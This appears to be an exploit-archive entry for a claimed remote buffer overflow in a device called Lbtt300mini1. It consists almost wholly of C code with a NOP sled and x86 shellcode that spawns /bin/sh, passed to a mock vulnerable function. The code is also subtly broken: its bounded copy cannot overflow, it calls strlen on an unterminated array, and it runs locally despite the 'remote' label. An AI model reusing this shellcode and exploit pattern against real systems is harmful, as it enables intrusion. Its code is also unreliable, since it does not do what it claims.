Lbtt300mini1 remote buffer overflow Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-03-25 | Type : remote | Platform : linux

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[+] Code ...

#include <stdio.h>
#include <string.h>

#define MAX_LEN 256
#define BUFFER_OVERRUN_LENGTH 50
#define SHELLCODE_LENGTH 32

// NOP sled to increase the chance of successful shellcode execution
char nop_sled[SHELLCODE_LENGTH] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

// Shellcode to execute /bin/sh
char shellcode[SHELLCODE_LENGTH] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void apply_cgi(char *vpn_client_ip) {
char buffer[MAX_LEN];
strncpy(buffer, vpn_client_ip, MAX_LEN);
printf("Client IP: %s\n", buffer);
}

int main() {
char input[MAX_LEN + BUFFER_OVERRUN_LENGTH] = {0};
// Create a buffer with the malicious input
// including the NOP sled, shellcode, and the overflow data
int offset = strlen(nop_sled) + strlen(shellcode) - BUFFER_OVERRUN_LENGTH;
strncpy(&input[0], nop_sled, offset);
strncpy(&input[offset], shellcode, SHELLCODE_LENGTH);
input[MAX_LEN + BUFFER_OVERRUN_LENGTH - 1] = '\x00';
// Call the vulnerable function to trigger the buffer overflow
apply_cgi(input);
return 0;
}